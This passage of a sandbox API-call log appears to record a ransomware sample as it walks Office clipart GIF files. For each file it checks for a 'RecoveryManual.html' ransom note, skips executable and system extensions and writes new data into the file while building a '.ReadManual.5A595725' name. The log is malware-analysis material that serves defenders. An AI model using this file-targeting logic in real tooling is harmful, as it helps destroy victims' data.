ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0258.676] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00090_.GIF" | out: lpString1="AG00090_.GIF") returned="AG00090_.GIF" [0258.676] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.676] StrStrIW (lpFirst="AG00090_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.676] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.676] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.676] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.676] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.676] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.676] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.676] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.676] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.677] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.677] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.677] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.677] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.677] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.677] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.677] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" [0258.677] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.ReadManual.5A595725" [0258.677] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.ReadManual.5A595725") returned 87 [0258.677] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37934557697) returned 1 [0258.677] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0258.677] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.677] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=517) returned 1 [0258.677] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x205, lpName=0x0) returned 0x184 [0258.677] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.678] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.678] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.679] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.680] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x205) returned 0x2f0000 [0258.680] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.680] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37934846963) returned 1 [0258.680] CloseHandle (hObject=0x184) returned 1 [0258.680] SetSecurityInfo () returned 0x57 [0258.680] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.680] CloseHandle (hObject=0x194) returned 1 [0258.680] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0258.680] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00092_.GIF" | out: lpString1="AG00092_.GIF") returned="AG00092_.GIF" [0258.681] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.681] StrStrIW (lpFirst="AG00092_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.681] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.681] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.681] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.681] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.681] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.681] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.681] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.681] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.681] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.681] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.681] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.681] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.681] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.681] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.681] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" [0258.681] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.ReadManual.5A595725" [0258.681] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.ReadManual.5A595725") returned 87 [0258.681] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37934983748) returned 1 [0258.681] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0258.681] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.681] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=502) returned 1 [0258.681] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f6, lpName=0x0) returned 0x184 [0258.682] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.682] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.682] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.683] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.684] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f6) returned 0x2f0000 [0258.684] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.684] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37935271943) returned 1 [0258.684] CloseHandle (hObject=0x184) returned 1 [0258.684] SetSecurityInfo () returned 0x57 [0258.684] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.684] CloseHandle (hObject=0x194) returned 1 [0258.685] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0258.685] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00103_.GIF" | out: lpString1="AG00103_.GIF") returned="AG00103_.GIF" [0258.685] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.685] StrStrIW (lpFirst="AG00103_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.685] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.685] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.685] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.685] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.685] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.685] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.685] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.685] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.685] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.685] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.685] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.685] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.685] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.685] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.685] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" [0258.685] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.ReadManual.5A595725" [0258.685] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.ReadManual.5A595725") returned 87 [0258.685] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37935421385) returned 1 [0258.685] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0258.687] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.687] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12702) returned 1 [0258.687] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x319e, lpName=0x0) returned 0x184 [0258.687] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.687] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.687] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.689] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.689] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x319e) returned 0x2f0000 [0258.689] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.689] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37935822182) returned 1 [0258.689] CloseHandle (hObject=0x184) returned 1 [0258.690] SetSecurityInfo () returned 0x57 [0258.690] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.690] CloseHandle (hObject=0x194) returned 1 [0258.690] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0258.690] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00120_.GIF" | out: lpString1="AG00120_.GIF") returned="AG00120_.GIF" [0258.690] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.690] StrStrIW (lpFirst="AG00120_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.690] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.691] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.691] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.691] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.691] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.691] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.691] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.691] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.691] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.691] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.691] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.691] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.691] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.691] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.691] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" [0258.691] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.ReadManual.5A595725" [0258.691] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.ReadManual.5A595725") returned 87 [0258.691] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37935974129) returned 1 [0258.691] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0258.691] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.691] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3484) returned 1 [0258.691] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd9c, lpName=0x0) returned 0x184 [0258.691] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.692] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.692] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.694] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.694] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd9c) returned 0x2f0000 [0258.694] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.694] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37936263757) returned 1 [0258.694] CloseHandle (hObject=0x184) returned 1 [0258.694] SetSecurityInfo () returned 0x57 [0258.694] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.694] CloseHandle (hObject=0x194) returned 1 [0258.695] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0258.695] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00126_.GIF" | out: lpString1="AG00126_.GIF") returned="AG00126_.GIF" [0258.695] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.695] StrStrIW (lpFirst="AG00126_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.695] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.695] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.695] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.695] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.695] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.695] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.695] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.695] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.695] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.695] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.695] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.695] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.695] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.695] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.695] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" [0258.695] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.ReadManual.5A595725" [0258.695] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.ReadManual.5A595725") returned 87 [0258.695] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37936419375) returned 1 [0258.695] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0258.696] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.696] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3140) returned 1 [0258.696] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc44, lpName=0x0) returned 0x184 [0258.696] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.697] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.697] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.698] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.699] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc44) returned 0x2f0000 [0258.699] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.699] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37936751281) returned 1 [0258.699] CloseHandle (hObject=0x184) returned 1 [0258.699] SetSecurityInfo () returned 0x57 [0258.699] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.699] CloseHandle (hObject=0x194) returned 1 [0258.700] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0258.700] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00129_.GIF" | out: lpString1="AG00129_.GIF") returned="AG00129_.GIF" [0258.700] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.700] StrStrIW (lpFirst="AG00129_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.700] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.700] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.700] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.700] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.700] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.700] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.700] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.700] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.700] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.700] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.700] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.700] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.700] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.700] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.700] lstrcpyW 